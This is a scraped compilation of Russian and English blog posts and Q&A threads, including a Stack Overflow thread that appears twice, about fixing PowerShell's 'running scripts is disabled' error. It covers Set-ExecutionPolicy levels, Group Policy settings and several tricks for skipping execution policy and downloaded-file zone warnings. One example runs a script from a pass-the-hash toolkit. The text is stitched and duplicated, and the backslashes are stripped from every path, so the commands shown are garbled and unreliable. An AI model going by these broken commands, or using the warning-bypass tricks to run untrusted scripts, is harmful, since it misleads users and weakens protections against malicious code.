Powershell categoryinfo ошибка безопасности pssecurityexception

В настоящее время в каждую Windows предустановлен PowerShell.

PowerShell — это не только консоль предоставляющая доступ к утилитам командной строки, но и мощное средство администрирования и автоматизации. В PowerShell реализовано множество команд и функций, которые могут добавляться как модули устанавливаемым программным обеспечением.

PowerShell поддерживает как выполнение отдельных команд, так и пакетные файлы с набором команд, то есть скрипты. Эти скрипты можно назвать аналогами файлов .bat для оболочки CMD (которая, кстати, по-прежнему доступна в Windows).

Но при попытке запуска скрипта PowerShell вас, вероятно, ждёт неприятный сюрприз. К примеру, моя попытка выполнить файл PowerShell с расширением .ps1:

.Invoke-SMBClient.ps1

Эта команда вызвала ошибку:

.Invoke-SMBClient.ps1 : Невозможно загрузить файл C:UsersMiAlDownloadsInvoke-TheHash-ma
sterInvoke-SMBClient.ps1, так как выполнение сценариев отключено в этой системе. Для получе
ния дополнительных сведений см. about_Execution_Policies по адресу https:/go.microsoft.com/f
wlink/?LinkID=135170.
строка:1 знак:1
+ .Invoke-SMBClient.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : Ошибка безопасности: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

Ключевой является информация:

Невозможно загрузить файл ....ps1, так как выполнение сценариев отключено в этой системе

Причина ошибки в том, что в системе Windows по умолчанию запрещено запускать пакетные файлы, скрипты PowerShell.

Как разрешить в Windows выполнение скриптов PowerShell

Проблема заключается в том, что политика выполнения скриптов запрещает выполнять эти самые скрипты. Узнать текущее значение политики можно командой:

Get-ExecutionPolicy

Для своей системы я получил значение:

Restricted

Чтобы разрешить выполнение файлов с расширением .ps1, то есть чтобы запустить скрипт PowerShell в Windows, выполните команду:

Set-ExecutionPolicy unrestricted

Когда поступит запрос, введите Y.

Данные команды нужно выполнять в PowerShell, а не в CMD.

Как запретить в Windows выполнение скриптов PowerShell

Чтобы вновь включить запрет на выполнение пакетных файлов в PowerShell достаточно выполнить команду:

Set-ExecutionPolicy Restricted

Опасно ли разрешать выполнение файлов со скриптами PowerShell в Windows?

При выполнении команды по изменению политика запуска скриптов каждый раз показывается сообщение:

Изменение политики выполнения
Политика выполнения защищает компьютер от ненадежных сценариев. Изменение политики выполнения может поставить под угрозу безопасность системы, как описано в разделе справки, вызываемом командой about_Execution_Policies и расположенном по адресу https:/go.microsoft.com/fwlink/?LinkID=135170 . Вы хотите изменить политику выполнения?
[Y] Да - Y  [A] Да для всех - A  [N] Н

Предупреждение кажется довольно страшным, но в самой справке, на которую дана ссылка, написано, что данная политика запрета запуска скриптов не является мерой безопасности, поскольку пользователь по-прежнему может выполнить команды одну за другой. Более того, у хакеров есть возможность обойти этот запрет и запустить скрипт даже при отключённой политике.

Как сказано в документации, это мера для предотвращения случайного выполнения скриптов PowerShell и случайных изменений.

То есть в целом изменение этой настройки не уменьшает уровень безопасности системы. Но если вы редко запускаете скрипты PowerShell, то можете установить уровень Restricted, то есть запрет выполнения сценариев.

Ошибка «»Set-ExecutionPolicy» не является внутренней или внешней командой, исполняемой программой или пакетным файлом»

Если при выполнении

C:Windowssystem32>Set-ExecutionPolicy unrestricted

вы получили ошибку

"Set-ExecutionPolicy" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

то это означает, что вы запускаете указанную команду в CMD (командная строка Windows), а не в PowerShell. Чтобы ошибка исчезла, откройте PowerShell и выполните команду там.

Ошибки «Отказано в доступе к разделу реестра «HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIds» и «Access to the path ‘C:Program FilesPowerShell7-previewpowershell.config.json’ is denied»

Во время выполнения команды

Set-ExecutionPolicy unrestricted

Вы можете столкнуться с ошибкой:

Set-ExecutionPolicy : Отказано в доступе к разделу реестра "HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell". Чтобы изменить политику выполнения для области (LocalMachine), используемой по умолчанию, запустите Windows PowerShell с параметром "Запуск от имени администратора". Чтобы изменить политику выполнения для текущего пользователя, выполните "Set-ExecutionPolicy -Scope CurrentUser".
строка:1 знак:1
+ Set-ExecutionPolicy unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccessException
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand

В PowerShell 7.* ошибка выглядит так:

Set-ExecutionPolicy: Access to the path 'C:Program FilesPowerShell7-previewpowershell.config.json' is denied.
To change the execution policy for the default (LocalMachine) scope, start PowerShell with the "Run as administrator" option. To change the execution policy for the current user, run "Set-ExecutionPolicy -Scope CurrentUser".

Причина ошибки в том, что указанную команду нужно выполнять с правами администратора.

Чтобы запустить PowerShell с правами администратора, нажмите «Win+x», либо правой кнопкой мыши по меню «Пуск».

И выберите «PowerShell (Администратор)» либо «Терминал Windows (Администратор)».

Смотрите также:

  • Как установить PowerShell 7 в Windows 10
  • Настройка рабочего окружения PowerShell в Windows и Linux
  • Доступен новый Windows Terminal — он потрясающий

Связанные статьи:

  • Не работает DNS через VPN в Windows 10 (РЕШЕНО) (94.5%)
  • Windows 10: нет подключения к Интернету после подключения к VPN-серверу (РЕШЕНО) (94.5%)
  • Ошибка ImageMagick в Windows: «magick: unable to open image »test’: No such file or directory @ error/blob.c/OpenBlob/3565. magick: no decode delegate for this image format `’ @ error/constitute.c/ReadImage/741.» (РЕШЕНО) (94.5%)
  • Проигрыватель Windows не показывает или плохо показывает видео (РЕШЕНО) (81%)
  • Ошибка «Файл слишком большой для файловой системы получателя» (РЕШЕНО) (81%)
  • Как подключить Apple AirPods Pro к любому устройству (RANDOM — 50%)
PS C:UsersAntonDesktoptelegram_bot> python -m venv venv
PS C:UsersAntonDesktoptelegram_bot> venvScriptsactivate
venvScriptsactivate : Невозможно загрузить файл C:UsersAntonDesktoptelegram_botvenvScriptsActivate.ps1, так ка
к выполнение сценариев отключено в этой системе. Для получения дополнительных сведений см. about_Execution_Policies по
адресу https:/go.microsoft.com/fwlink/?LinkID=135170.
строка:1 знак:1
+ venvScriptsactivate
+ ~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : Ошибка безопасности: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

описание

oleksandrigo's user avatar

oleksandrigo

5,2242 золотых знака8 серебряных знаков21 бронзовый знак

задан 4 сен 2022 в 13:31

Бойцовский клуб's user avatar

0

самое простое решение это запустить скрипт через cmd или какие либо IDE например VSCode или Pycharm,
либо можно решить проблему и запускать все через powershell таким образом:

Шаг1: Открываем powershell от имени администратора.

Шаг2: Пишем: Set-ExecutionPolicy RemoteSigned

Шаг3: Везде отвечаем (A)

А так же научитесь читать ошибки, наверное это очень сложно вить читать не умеют аж целых 750млн человек но постарайтесь их читать и главное научитесь понимать их, тогда все проблемы решаться сами

ответ дан 4 сен 2022 в 13:50

2


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters

Show hidden characters

Ошибка:
.venvScriptsactivate : Невозможно загрузить файл C:pathvenvScriptsactivate.ps1, так как выполнение сценариев отключено в этой системе.
Для получения дополнительных сведений см. about_Execution_Policies по адресу http://go.microsoft.com/fwlink/?LinkID=135170.
строка:1 знак:1
.venvScriptsactivate
~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : Ошибка безопасности: (:) [], PSSecurityException
FullyQualifiedErrorId : UnauthorizedAccess
Решение проблемы:
— Открываем терминал PowerShell от админа.
— Вставляем и запускаем — Set-ExecutionPolicy RemoteSigned
— На вопрос отвечаем — A

При переносе этого блога на хостинг Firebase я столкнулся с ошибкой PowerShell, которая говорила о невозможности загрузки файла, из-за которой у меня отказывались работать инструменты firebase-tools.

Как оказалось, политикой выполнения скриптов по умолчанию запрещается выполнять скрипты. В заметке приводится решение.

PS C:_projectsivanscm.name> firebase init
firebase : Невозможно загрузить файл C:UsersivansAppDataRoamingnpmfirebase.ps1, так как выполнение сценариев откл
ючено в этой системе. Для получения дополнительных сведений см. about_Execution_Policies по адресу https:/go.microsoft.
com/fwlink/?LinkID=135170.
строка:1 знак:1
+ firebase init
+ ~~~~~~~~
    + CategoryInfo          : Ошибка безопасности: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

Выключение запрета выполнения сценариев

Для решения проблемы достаточно выполнить команду Set-ExecutionPolicy unrestricted и выбрать необходимую опцию. В моем случае я выбрал A(это небезопасно!), но можно и рекомендуется выбирать Y, что бы система каждый раз спрашивала разрешение на запуск скриптов.

PS C:_projectsivanscm.name> Set-ExecutionPolicy unrestricted

Изменение политики выполнения
Политика выполнения защищает компьютер от ненадежных сценариев. Изменение политики выполнения может поставить под
угрозу безопасность системы, как описано в разделе справки, вызываемом командой about_Execution_Policies и
расположенном по адресу https:/go.microsoft.com/fwlink/?LinkID=135170 . Вы хотите изменить политику выполнения?
[Y] Да - Y  [A] Да для всех - A  [N] Нет - N  [L] Нет для всех - L  [S] Приостановить - S  [?] Справка
(значением по умолчанию является "N"):A

Включение запрета выполнения сценариев

Для включения запрета выполните Set-ExecutionPolicy Restricted.

Ознакомится подробнее можно в документации на сайте Microsoft.

По-умолчанию настройки Windows запрещают запуск скриптов PowerShell. Это необходимо для предотвращения запуска вредоносного кода на PowerShell. Настройки политик запуска PowerShell скриптов определяются в Execution Policy. В этой статье мы рассмотрим доступные политики запуска PS скриптов, как изменить Execution Policy и настроить политики использования PowerShell скриптов на компьютерах в домене.

Содержание:

  • Выполнение PowerShell скриптов запрещено для данной системы
  • Как разрешить запуск скриптов PowerShell с помощью Execution Policy?
  • Настройка PowerShell Execution Policy с помощью групповых политик
  • Способы обхода политики PowerShell Execution

Выполнение PowerShell скриптов запрещено для данной системы

При попытке выполнить PowerShell скрипт (файл с расширением PS1) на чистой Windows 10, появляется ошибка:

File C:ps.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Не удается загрузить файл.ps1, так как выполнение скриптов запрещено для данной системы.

Не удается загрузить файл ps1, так как выполнение скриптов запрещено для данной системы.

Текущее значение политики выполнения скриптов PowerShell на компьютере можно получить командой:

Get-ExecutionPolicy

Get-ExecutionPolicy

Доступны следующие значения PowerShell Execution Policy:

  • Restricted – запрещен запуск скриптов PowerShell, можно выполнять только интерактивные команды в консоли;
  • AllSigned – разрешено выполнять только подписанные PS скрипты с цифровой подписью от доверенного издателя (можно подписать скрипт самоподписанным сертификатом и добавить его в доверенные). При запуске недоверенных скриптов появляется предупреждение:
    Do you want to run software from this untrusted publisher? File .ps1 is published by CN=test1 and is not trusted on your system. Only run scripts from trusted publishers

    вы хотите запустить powershell скрипт от недоверенного издателя?

  • RemoteSigned – можно запускать локальные PowerShell скрипты без ограничения. Можно запускать удаленные PS файлы с цифровой подписью (нельзя запустить PS1 файлы, скачанные из Интернета, запущенные из сетевой папки по UNC пути и т.д.);
  • Unrestricted – разрешен запуск всех PowerShell скриптов;

    При запуске сторонних PowerShell скриптов может появляется предупреждение с подтверждением запуска, см. ниже.

  • Bypass – разрешён запуск любых PS файлов (предупреждения не выводятся) – эта политика обычно используется для автоматического запуска PS скриптов без вывода каких-либо уведомлений (например при запуске через GPO, SCCM, планировщик и т.д.) и не рекомендуется для постоянного использования;
  • Default – сброс настроек выполнения скриптов на стандартную;

    В Windows 10 значение политики выполнения PowerShell по-умолчанию Restricted, а в Windows Server 2016 — RemoteSigned.

  • Undefined – не задано. Применяется политика Restricted для десктопных ОС и RemoteSigned для серверных.

Как разрешить запуск скриптов PowerShell с помощью Execution Policy?

Чтобы изменить текущее значение политики запуска PowerShell скриптов, используется командлет Set-ExecutionPolicy.

Например, разрешим запуск локальных скриптов:

Set-ExecutionPolicy RemoteSigned

Подтвердите изменение политики запуска PS1 скриптов, нажав Y или A.

Set-ExecutionPolicy RemoteSigned разрешить запуск локальных powershell скриптов

Чтобы запрос не появлялся, можно использовать параметр Force.

Set-ExecutionPolicy RemoteSigned –Force

Если вы установили значение политики PowerShell Execution Policy в Unrestricted, то при запуске удаленных скриптов из сетевых каталогов по UNC пути, скачанных из интернета файлов, все равно будет появляться предупреждение:

Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the
Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D")

Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the Unblock-File cmdlet to allow the script to run without this warning message

Как PowerShell различает локальные и удаленные скрипты? Все дело в идентификаторе зоны ZoneId, которую выставляет браузер в альтернативном потоке при загрузке файла (см. статью “Как Windows определяет, что файл скачан из Интернета?”). Вы можете разблокировать такой файл, поставив галку “Разблокирвать” в его свойствах или очиститься метку зоны с помощью комадлета Unblock-File.

Также следует различать различные области действия политик выполнения скриптов PowerShell (scopes):

  • MachinePolicy – действует для всех пользователей компьютера, настраивается через GPO;
  • UserPolicy – действует на пользователей компьютера, также настраивается через GPO;
  • Process — настройки ExecutionPolicy действует только для текущего сеанса PowerShell.exe (сбрасываются при закрытии процесса);
  • CurrentUser – политика ExecutionPolicy применяется только к текущему пользователю (параметр из ветки реестра HKEY_CURRENT_USER);
  • LocalMachine – политика для всех пользователей компьютера (параметр из ветки реестра HKEY_LOCAL_MACHINE);

Область применения политики можно указать с помощью параметр Scope командлета Set-ExecutionPolicy. Например:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass –Force

Проверим текущие настройки ExecutionPolicy для всех областей:

Get-ExecutionPolicy -List

Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Bypass
CurrentUser Undefined
LocalMachine RemoteSigned

Get-ExecutionPolicy scopes области действия

Значение политики выполнения, которые вы задаете с помощью командлета Set-ExecutionPolicy для областей CurrentUser и LocalMachine, хранятся в реестре. Например, выполните командлет:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted –Force

Откройте ветку реестра HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell и проверьте значение REG_SZ параметра ExecutionPolicy. Оно изменилось на Restricted (допустимые значения параметра Restricted, AllSigned, RemoteSigned, Bypass, Unrestricted и Undefined).

ExecutionPolicy в реестре

Аналогичные настройки для области CurrentUser находятся в разделе реестра пользователя HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

Отметим, что чаще всего в корпоративной среде используется ExecutionPolicy со значением AllSigned на уровне LocalMachine. Это обеспечивает максимальный баланс между безопасностью и удобством. Для личного пользования на компьютере можно использовать RemoteSigned. Ну а Bypass политику лучше использовать только для запуска отдельных задач (например для запуска скриптов через GPO или заданий планировщика).

Настройка PowerShell Execution Policy с помощью групповых политик

Вы можете настроить политику выполнения PowerShel скриптов на серверах или компьютерах домена с помощью групповых политик.

  1. С помощью редактора доменных GPO (gpmc.msc) создайте новую GPO (или отредактируйте) существующую и назначьте ее на OU с компьютерами, к которым нужно применить политику запуска PowerShell скриптов;
  2. В редакторе политики перейдите в раздел Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell и найдите политику Turn on Script Execution (Включить выполнение сценариев);

    Аналогичная политика есть в пользовательском разделе GPO — User Configuration, но политика компьютера имеет приоритет.

  3. Для политики доступны три значения:
    • Allow only signed scripts (Разрешать только подписанные сценарии) — соответствует политике AllSigned;
    • Allow local scripts and remote signed scripts (Разрешать локальные и удаленные подписанные сценарии) — соответствует политике PS RemoteSigned;
    • Allow all scripts (Разрешать все сценарии) — политика Unrestricted. групповая политика Turn on Script Execution
  4. Выберите необходимое значение политики, сохраните GPO и обновите политики на компьютере.
  5. Проверьте, что для области MachinePolicy теперь действуют новые настройки выполнения. политка executionpolicy настроена через ПЗЩ

После настройки политики выполнения через GPO вы не сможете изменить настройки политики выполнения скриптов вручную. При попытке изменить настройки Execution Policy на компьютере, на который применяется такая GPO, появится ошибка:

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope. Due to the override, your shell will retain its current effective execution policy of RemoteSigned. Type "Get-ExecutionPolicy -List" to view your execution policy settings.

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope

Способы обхода политики PowerShell Execution

Есть несколько трюков, которые могут помочь вам, когда нужно запустить на компьютере PowerShell скрипт, не изменяя настройки политики выполнения. Например, я хочу запустить простой PS1 скрипт, который поверяет, что запущен с правами администратора.

Можно с помощью Get-Content получить содержимое скрипта и перенаправить его в стандартныq поток ввода консоли PS.

Get-Content c:pscheck_process_elevation.ps1 | PowerShell.exe -noprofile –

Либо можно запустить новый процесс powershell.exe с политикой выполнения Bypass:

powershell.exe -noprofile -executionpolicy bypass -file c:pscheck_process_elevation.ps1

обход действия powershell execution политики

Выдает ошибку, не могли бы помочь?

Есть код:

let gulp = require('gulp'),
    sass = require('gulp-sass');


gulp.task('scss', function() {
  return gulp.src('app/scss/**/*.scss')
    .pipe(sass())
    .pipe(gulp.dest('app/css'))
});

Выдает ошибку в консоли после прописания вот такого кода:
PS D:Программированиеgulp-start> gulp scss
gulp : Невозможно загрузить файл C:UsersProfessionalAppDataRoamingnpmgulp.ps1, так как выполнение сценариев отклю
чено в этой системе. Для получения дополнительных сведений см. about_Execution_Policies по адресу https:/go.microsoft.c
om/fwlink/?LinkID=135170.
строка:1 знак:1
+ gulp scss
+ ~~~~
    + CategoryInfo          : Ошибка безопасности: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess


  • Вопрос задан

    более трёх лет назад

  • 30115 просмотров

Решение проблемы:
Открываем терминал от админа.
Пишем и запускаем: Set-ExecutionPolicy RemoteSigned

На вопрос отвечаем: Да (Да для всех)

Пригласить эксперта

в пуске вводите PowerShell
далее правой кнопкой мыши запуск от имени администратора

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

Да (а именно Y)
и всё работает!

Дополню немного, чтобы команды работали надо сразу поставить в настройках запуска среды разработки vs code и т.п. от имени администратора.

После команды и подтверждения появляется вот это:
Set-ExecutionPolicy : Оболочка Windows PowerShell успешно обновила вашу политику выполнения, но данный параметр переопределяется политикой, определенной в более конкретной области. В связи с переопределением оболочка сохранит текущую политику выполнения «AllSigned». Для просмотра параметров политики выполнения введите «Get-ExecutionPolicy -List». Для получения дополнительных сведений введите «Get-HelpSetExecutionPolicy».
строка:1 знак:1
+ Set-ExecutionPolicy RemoteSigned
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
+ FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand

Что делать?


  • Показать ещё
    Загружается…

04 июн. 2023, в 12:23

30000 руб./за проект

04 июн. 2023, в 12:18

20000 руб./за проект

04 июн. 2023, в 12:07

2000 руб./за проект

Минуточку внимания

По умолчанию выполнение сценариев Windows PowerShell в системе запрещено. По соображениям безопасности все скрипты PowerShell должны быть подписаны цифровой подписью, данный метод называется — политика выполнения.

Если скрипт не соответствует этому условию, то выполнение сценариев PowerShell в системе запрещено. Это связано в первую очередь с тем, что в скрипте может находиться вредоносный код, который может нанести вред операционной системе.

PowerShell имеет несколько режимов выполнения, которые определяют, какой тип кода разрешается выполнять. Существует 5 различных режимов выполнения:

  1. Ограниченный (Restricted) — значение по умолчанию. Блокируется выполнение любых скриптов и разрешается работа интерактивных команд.
  2. Все подписанные (All Signed) — разрешено выполнение скриптов, имеющих цифровую подпись.
  3. Удаленные подписанные (Remote Signed) — локальные скрипты работают без подписи. Все скачанные скрипты должны иметь цифровую подпись.
  4. Неограниченный (Unrestricted) — разрешено выполнение любых скриптов. При запуске не подписанного скрипта, который был загружен из Интернета, программа может потребовать подтверждение.
  5. Обходной (Bypass) — ничего не блокируется, никакие предупреждения и запросы не появляются.

По умолчанию для PowerShell используется режим «Ограниченный». В этом режиме, PowerShell работает как интерактивная оболочка. Если вы ранее не настраивали PowerShell, то вместо работы скрипта вы увидите сообщение об ошибке, написанное красным шрифтом как на скриншоте ниже.

Самым безопасным способом решения этой проблемы является – изменение политики выполнения на неограниченную, запуск скрипта, и затем обратный возврат к ограниченной политике.

Для изменения политики выполнения на неограниченную, воспользуемся консолью PowerShell открытую с правами Администратора и выполним следующую команду:

Set-ExecutionPolicy Unrestricted

После запуска команды вам будет предложено подтвердить изменение политики выполнения. Ответим Y (Да).

Теперь можно запустить скрипт. Однако, вы подвергаете систему серьезному риску, так что по окончании работы скрипта, не забудьте вернуть политику выполнения назад в ограниченный режим. Сделать это можно с помощью следующей команды:

Set-ExecutionPolicy Restricted

После запуска команды вам будет предложено подтвердить изменение политики выполнения. Ответим Y (Да)

Далее ниже представлены все команды для изменения политики выполнения.

Блокируется выполнение любых скриптов. Значение по умолчанию.

Set-ExecutionPolicy Restricted

Разрешено выполнение скриптов, имеющих цифровую подпись.

Set-ExecutionPolicy AllSigned

Скрипты, подготовленные на локальном компьютере, можно запускать без ограничений, скрипты, загруженные из Интернета — только при наличии цифровой подписи.

Set-ExecutionPolicy RemoteSigned

Разрешено выполнение любых скриптов. При запуске не подписанного скрипта, который был загружен из Интернета, программа может потребовать подтверждение.

Set-ExecutionPolicy Unrestricted

Ничего не блокируется, никакие предупреждения и запросы не появляются.

Set-ExecutionPolicy Bypass

Для выполнения выше представленных команд без подтверждения изменения, воспользуйтесь параметром -Force, например выполните команду:

Set-ExecutionPolicy Bypass -Force

Теперь при выполнении команд не нужно подтверждать производимые изменения.

I am trying to execute a script from shared folder that I trust:

PowerShell -file "serverscriptsmy.ps1"

But I get a security warning, and have to press ‘R’ to continue

Security Warning Run only scripts that
you trust. While scripts from the
Internet can be useful, this script
can potentially harm your computer. Do
you want to run
serverscriptsmy.ps1? [D] Do not
run [R] Run once [S] Suspend [?]
Help (default is «D»): d

Can I ignore this warning? The desired pseudo code I want is:

PowerShell -IGNORE_SECURITY_WARNING -file "serverscriptsmy.ps1"

Jacob loves Rockstar's user avatar

asked Apr 8, 2009 at 0:58

alex2k8's user avatar

To avoid warnings, you can:

Set-ExecutionPolicy bypass

answered Apr 13, 2012 at 9:50

Alfredo Jiménez's user avatar

2

If you’re running into this error from a downloaded powershell script, you can unblock the script this way:

  1. Right-click on the .ps1 file in question, and select Properties

  2. Click Unblock in the file properties

    enter image description here

  3. Click OK

answered Sep 18, 2013 at 22:13

mopsled's user avatar

mopsledmopsled

8,3751 gold badge37 silver badges40 bronze badges

3

Just assign 1 to SEE_MASK_NOZONECHECKS env variable

$env:SEE_MASK_NOZONECHECKS = 1
Start-Process $msi_file_path /qn -Wait | out-null

answered Feb 9, 2016 at 9:20

Jameel Grand's user avatar

Jameel GrandJameel Grand

2,21615 silver badges31 bronze badges

2

Try this, edit the file with:

notepad foo.ps1:Zone.Identifier

And set ‘ZoneId=0’

answered Apr 8, 2009 at 1:09

Don Werve's user avatar

Don WerveDon Werve

5,0722 gold badges25 silver badges32 bronze badges

2

None of this worked in my specific instance. What did was changing to a NetBIOS name from the FQDN.

Instead of:
server.domain.netfile.ps1
use:
serverfile.ps1

Using the name bypasses the «automatically detect intranet network» config in IE.

See Option 1 in the blog here:
http://setspn.blogspot.com/2011/05/running-powershell-scripts-from-unc.html

answered May 13, 2016 at 14:45

lightwing's user avatar

I made this powershell script to unblock all files on a share on my server

Get-ChildItem "ServerNamee$MyDirectory" -Recurse -File | % {
       Unblock-File -Path $_.FullName
}

answered Oct 7, 2016 at 15:52

Peter Veg's user avatar

1

You want to set the execution policy on your machine using Set-ExecutionPolicy:

Set-ExecutionPolicy Unrestricted

You may want to investigate the various execution policies to see which one is right for you. Take a look at the «help about_signing» for more information.

answered Apr 8, 2009 at 1:06

zdan's user avatar

zdanzdan

28.1k7 gold badges59 silver badges68 bronze badges

3

Did you download the script from internet?

Then remove NTFS stream from the file using sysinternal’s streams.exe on command line.

cmd> streams.exe .my.ps1

Now try to run the script again.

answered Apr 8, 2009 at 1:10

dance2die's user avatar

dance2diedance2die

35.1k37 gold badges130 silver badges192 bronze badges

1

Assume that you need to launch ps script from shared folder

copy serverscript.ps1 c:tmp.ps1 /y && PowerShell.exe -ExecutionPolicy Bypass -File c:tmp.ps1 && del /f c:tmp.ps1

P.S.
Reduce googling)

bluish's user avatar

bluish

25.6k27 gold badges119 silver badges177 bronze badges

answered Dec 31, 2014 at 7:19

Alex's user avatar

It is very simple to do, open your PowerShell and write the following command if you have number of ps1 files. here you have to change the path with your path.

PS C:Users> Get-ChildItem -Path "D:downlod" -Recurse | Unblock-File

answered Oct 15, 2018 at 10:14

Sapnandu's user avatar

SapnanduSapnandu

5945 silver badges9 bronze badges

1

Try set-executionpolicy «Policyname» -force switch and the warnings pop-up should not come.

answered Apr 4, 2019 at 6:22

swapnil's user avatar

For those who want to access a file from an already loaded PowerShell session, either use Unblock-File to mark the file as safe (though you already need to have set a relaxed execution policy like Unrestricted for this to work), or change the execution policy just for the current PowerShell session:

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

answered Aug 12, 2020 at 12:15

lauxjpn's user avatar

lauxjpnlauxjpn

4,4991 gold badge16 silver badges39 bronze badges

I am trying to execute a script from shared folder that I trust:

PowerShell -file "serverscriptsmy.ps1"

But I get a security warning, and have to press ‘R’ to continue

Security Warning Run only scripts that
you trust. While scripts from the
Internet can be useful, this script
can potentially harm your computer. Do
you want to run
serverscriptsmy.ps1? [D] Do not
run [R] Run once [S] Suspend [?]
Help (default is «D»): d

Can I ignore this warning? The desired pseudo code I want is:

PowerShell -IGNORE_SECURITY_WARNING -file "serverscriptsmy.ps1"

Jacob loves Rockstar's user avatar

asked Apr 8, 2009 at 0:58

alex2k8's user avatar

To avoid warnings, you can:

Set-ExecutionPolicy bypass

answered Apr 13, 2012 at 9:50

Alfredo Jiménez's user avatar

2

If you’re running into this error from a downloaded powershell script, you can unblock the script this way:

  1. Right-click on the .ps1 file in question, and select Properties

  2. Click Unblock in the file properties

    enter image description here

  3. Click OK

answered Sep 18, 2013 at 22:13

mopsled's user avatar

mopsledmopsled

8,3751 gold badge37 silver badges40 bronze badges

3

Just assign 1 to SEE_MASK_NOZONECHECKS env variable

$env:SEE_MASK_NOZONECHECKS = 1
Start-Process $msi_file_path /qn -Wait | out-null

answered Feb 9, 2016 at 9:20

Jameel Grand's user avatar

Jameel GrandJameel Grand

2,21615 silver badges31 bronze badges

2

Try this, edit the file with:

notepad foo.ps1:Zone.Identifier

And set ‘ZoneId=0’

answered Apr 8, 2009 at 1:09

Don Werve's user avatar

Don WerveDon Werve

5,0722 gold badges25 silver badges32 bronze badges

2

None of this worked in my specific instance. What did was changing to a NetBIOS name from the FQDN.

Instead of:
server.domain.netfile.ps1
use:
serverfile.ps1

Using the name bypasses the «automatically detect intranet network» config in IE.

See Option 1 in the blog here:
http://setspn.blogspot.com/2011/05/running-powershell-scripts-from-unc.html

answered May 13, 2016 at 14:45

lightwing's user avatar

I made this powershell script to unblock all files on a share on my server

Get-ChildItem "ServerNamee$MyDirectory" -Recurse -File | % {
       Unblock-File -Path $_.FullName
}

answered Oct 7, 2016 at 15:52

Peter Veg's user avatar

1

You want to set the execution policy on your machine using Set-ExecutionPolicy:

Set-ExecutionPolicy Unrestricted

You may want to investigate the various execution policies to see which one is right for you. Take a look at the «help about_signing» for more information.

answered Apr 8, 2009 at 1:06

zdan's user avatar

zdanzdan

28.1k7 gold badges59 silver badges68 bronze badges

3

Did you download the script from internet?

Then remove NTFS stream from the file using sysinternal’s streams.exe on command line.

cmd> streams.exe .my.ps1

Now try to run the script again.

answered Apr 8, 2009 at 1:10

dance2die's user avatar

dance2diedance2die

35.1k37 gold badges130 silver badges192 bronze badges

1

Assume that you need to launch ps script from shared folder

copy serverscript.ps1 c:tmp.ps1 /y && PowerShell.exe -ExecutionPolicy Bypass -File c:tmp.ps1 && del /f c:tmp.ps1

P.S.
Reduce googling)

bluish's user avatar

bluish

25.6k27 gold badges119 silver badges177 bronze badges

answered Dec 31, 2014 at 7:19

Alex's user avatar

It is very simple to do, open your PowerShell and write the following command if you have number of ps1 files. here you have to change the path with your path.

PS C:Users> Get-ChildItem -Path "D:downlod" -Recurse | Unblock-File

answered Oct 15, 2018 at 10:14

Sapnandu's user avatar

SapnanduSapnandu

5945 silver badges9 bronze badges

1

Try set-executionpolicy «Policyname» -force switch and the warnings pop-up should not come.

answered Apr 4, 2019 at 6:22

swapnil's user avatar

For those who want to access a file from an already loaded PowerShell session, either use Unblock-File to mark the file as safe (though you already need to have set a relaxed execution policy like Unrestricted for this to work), or change the execution policy just for the current PowerShell session:

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

answered Aug 12, 2020 at 12:15

lauxjpn's user avatar

lauxjpnlauxjpn

4,4991 gold badge16 silver badges39 bronze badges

При переносе этого блога на хостинг Firebase я столкнулся с ошибкой PowerShell, которая говорила о невозможности загрузки файла, из-за которой у меня отказывались работать инструменты firebase-tools.

Как оказалось, политикой выполнения скриптов по умолчанию запрещается выполнять скрипты. В заметке приводится решение.

PS C:_projectsivanscm.name> firebase init
firebase : Невозможно загрузить файл C:UsersivansAppDataRoamingnpmfirebase.ps1, так как выполнение сценариев откл
ючено в этой системе. Для получения дополнительных сведений см. about_Execution_Policies по адресу https:/go.microsoft.
com/fwlink/?LinkID=135170.
